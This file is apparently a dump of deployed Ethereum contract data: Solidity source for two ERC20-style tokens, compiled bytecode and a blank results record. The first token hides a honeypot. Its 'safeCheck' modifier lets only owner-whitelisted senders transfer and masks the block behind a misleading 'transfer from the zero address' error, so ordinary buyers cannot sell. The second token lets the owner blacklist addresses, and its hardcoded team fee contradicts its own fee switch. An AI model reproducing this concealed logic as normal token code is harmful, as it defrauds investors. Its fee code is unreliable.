function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_LKR(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205b28ce409c67e4cc32bfac0cbc6749bf13552b8a27207590e1f1d7c9d723b62664736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 8,728 |
0xece93db77af5ea781a1aaa5f3ece10c9ce672c45
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DouglasAdams is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = " Douglas Adams ";
string private constant _symbol = " DouglasAdams ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
